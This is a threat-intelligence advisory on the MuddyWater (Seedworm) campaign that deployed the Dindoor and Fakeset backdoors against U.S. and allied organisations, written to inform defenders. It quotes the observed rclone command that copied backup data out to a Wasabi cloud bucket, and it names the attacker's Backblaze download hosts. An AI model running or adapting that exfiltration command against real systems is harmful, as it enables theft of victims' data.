# Iranian APT MuddyWater (Seedworm) Deploys Novel Dindoor & Fakeset Backdoors Against U.S. Critical Infrastructure

> Iran's MuddyWater (Seedworm/MOIS) APT group has compromised networks of a U.S. bank, airport, defense software supplier, and NGOs using two previously unknown backdoors: Dindoor (Deno-based BYOR) and Fakeset (Python-based). The campaign, active since early February 2026, escalated following U.S.-Israeli military operations against Iran.

- **Published:** 2026-03-09T12:00:00Z
- **Last reviewed:** 2026-03-09T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0198
- **ID:** TL-2026-0198
- **Severity:** CRITICAL
- **Category:** APT
- **Status:** ACTIVE
- **Actor:** MuddyWater (Iran)
- **Detections:** 9 · **IOCs:** 45 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Symantec's Threat Hunter Team uncovered a campaign by Seedworm (also tracked as MuddyWater, Temp.Zagros, Static Kitten), an Iranian APT linked to Iran's Ministry of Intelligence and Security (MOIS), targeting U.S. critical infrastructure and allied organizations.

The campaign deploys two previously unknown backdoors:

**Dindoor** is a novel backdoor that leverages the Deno JavaScript/TypeScript runtime as a 'Bring Your Own Runtime' (BYOR) evasion strategy. By bundling a legitimate runtime, the malware executes commands through a trusted process, bypassing application whitelisting and behavioral detections that target standard scripting engines like PowerShell or cmd.exe. Dindoor samples are digitally signed with a certificate issued to 'Amy Cherne', a previously unknown identity in public threat intelligence. Dindoor was deployed against the Israeli branch of a U.S. defense/aerospace software supplier, a U.S. bank, and a Canadian non-profit organization.

**Fakeset** is a Python-based backdoor downloaded from Backblaze cloud storage servers (gitempire.s3.us-east-005.backblazeb2.com and elvenforest.s3.us-east-005.backblazeb2.com). Fakeset samples are signed with certificates attributed to both 'Amy Cherne' and 'Donald Gay'. The 'Donald Gay' certificate has been previously associated with Stagecomp and Darkcomp malware used by Seedworm, as confirmed by Google, Microsoft, and Kaspersky. Fakeset was deployed against a U.S. airport and a U.S. non-profit organization.

The **Stagecomp/Darkcomp** loader chain is also present in this campaign. Stagecomp is a loader that downloads and executes the Darkcomp backdoor. Both are signed with the 'Donald Gay' certificate, establishing a clear link to Seedworm operations.

Data exfiltration was attempted using Rclone, an open-source command-line tool, copying data to Wasabi cloud storage buckets. The exfiltration command pattern observed was: 'rclone copy CSIDL_DRIVE_FIXED\backups wasabi:[bucket]:/192.168.0.x'.

Investigation of exposed infrastructure revealed a VPS hosted in the Netherlands containing evidence of broader targeting including Israeli healthcare organizations, EgyptAir, Jordanian government entities, UAE companies, and Jewish/Israeli NGOs. The exposed VPS also showed Ethereum-based C2 resolution mechanisms.

The campaign began in early February 2026 and activity continued through the date of public disclosure on March 5, 2026. The timing is significant: U.S. and Israeli coordinated military operations against Iran began on February 28, 2026, and Iran's Supreme Leader was killed in an airstrike on March 1, 2026. Seedworm's pre-existing presence on U.S. and Israeli networks prior to hostilities places the group in a position to launch destructive operations.

Additional tools observed include remote access tools (AnyDesk, ScreenConnect, PDQ), the ReGeorg web shell, and credential-stealing utilities targeting browser credentials and mailbox access. Password spraying campaigns were also documented.

---

**Revalidated on 2026-03-12**

Since initial publication on March 5, 2026, revalidation on March 12 confirms the Dindoor/Fakeset campaign remains ACTIVE with no evidence of infrastructure takedown or certificate revocation. Critically, MuddyWater is now confirmed to be running at least four concurrent campaigns in early 2026: (1) the Dindoor/Fakeset campaign against U.S. critical infrastructure documented here, (2) Operation Olalampo (Group-IB, Jan 26 2026) targeting MENA with CHAR (Rust, AI-assisted), GhostFetch, HTTP_VIP, and GhostBackDoor — some using Telegram bot C2, (3) the RustyWater campaign (CloudSEK, Jan 2026) deploying a Rust-based RAT against Israeli government/military/financial/telecom via Hebrew-language spear-phishing, and (4) the UDPGangster campaign (FortiGuard, Dec 2025) using UDP-based C2 against Turkey/Israel/Azerbaijan. This operational tempo — four distinct campaigns, six+ novel malware families, four programming languages (JavaScript/Deno, Python, Rust, C++), multiple C2 protocols (HTTPS, UDP, Telegram, Ethereum) — is unprecedented for MuddyWater and suggests a significant expansion in resources and tasking, likely driven by the Iran-U.S./Israel military escalation. Amazon threat intelligence has correlated MuddyWater cyber operations directly with kinetic missile strikes, confirming the cyber-kinetic nexus assessment in the original report. The Amy Cherne and Donald Gay code signing certificates remain unrevoked as of March 12, 2026, representing a persistent threat vector.

## MITRE ATT&CK

- T1587 Develop Capabilities
- T1588 Obtain Capabilities
- T1566 Phishing
- T1078 Valid Accounts
- T1059 Command and Scripting Interpreter
- T1505 Server Software Component
- T1133 External Remote Services
- T1553 Subvert Trust Controls
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1110 Brute Force
- T1555 Credentials from Password Stores
- T1114 Email Collection
- T1018 Remote System Discovery
- T1046 Network Service Discovery
- T1021 Remote Services
- T1074 Data Staged
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1102 Web Service
- T1219 Remote Access Tools
- T1567 Exfiltration Over Web Service
- T1048 Exfiltration Over Alternative Protocol
- T1041 Exfiltration Over C2 Channel
- T1485 Data Destruction

## Sources

- [Symantec: Seedworm - Iranian APT on Networks of U.S. Bank, Airport, Software Company](https://www.security.com/threat-intelligence/iran-cyber-threat-activity-us)
- [The Hacker News: Iran-Linked MuddyWater Hackers Target U.S. Networks With New Dindoor Backdoor](https://thehackernews.com/2026/03/iran-linked-muddywater-hackers-target.html)
- [SecurityWeek: Iranian APT Hacked US Airport, Bank, Software Company](https://www.securityweek.com/iranian-apt-hacks-us-airport-bank-software-company/)
- [The Register: Iran intelligence backdoored US bank, airport networks](https://www.theregister.com/2026/03/05/mudywater_backdoor_us_networks/)
- [Security Affairs: Iran-linked MuddyWater deploys Dindoor malware against U.S. organizations](https://securityaffairs.com/189060/apt/iran-linked-muddywater-deploys-dindoor-malware-against-u-s-organizations.html)
- [Help Net Security: Iran-linked APT targets US critical sectors with new backdoors](https://www.helpnetsecurity.com/2026/03/06/seedworm-muddywater-backdoors-victims/)
- [Infosecurity Magazine: Iran MuddyWater Hackers Hit US Firms with New Dindoor Backdoor](https://www.infosecurity-magazine.com/news/iran-muddywater-hackers-us-firms/)
- [InfoSec Today: Iran-linked MuddyWater deploys Dindoor malware against U.S. organizations](https://www.infosectoday.io/iran-linked-muddywater-deploys-dindoor-malware-against-u-s-organizations/)
- [News4Hackers: Iran-Linked APT Group Deploys Sophisticated Backdoors to Compromise US Critical Infrastructure](https://www.news4hackers.com/iran-linked-apt-group-deploys-sophisticated-backdoors-to-compromise-us-critical-infrastructure)
- [CyberWarrior76: Iran MuddyWater Dropped Two New Backdoors on U.S. Critical Infrastructure](https://cyberwarrior76.substack.com/p/irans-muddywater-just-dropped-two)
- [MITRE ATT&CK: MuddyWater](https://attack.mitre.org/groups/G0069/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0198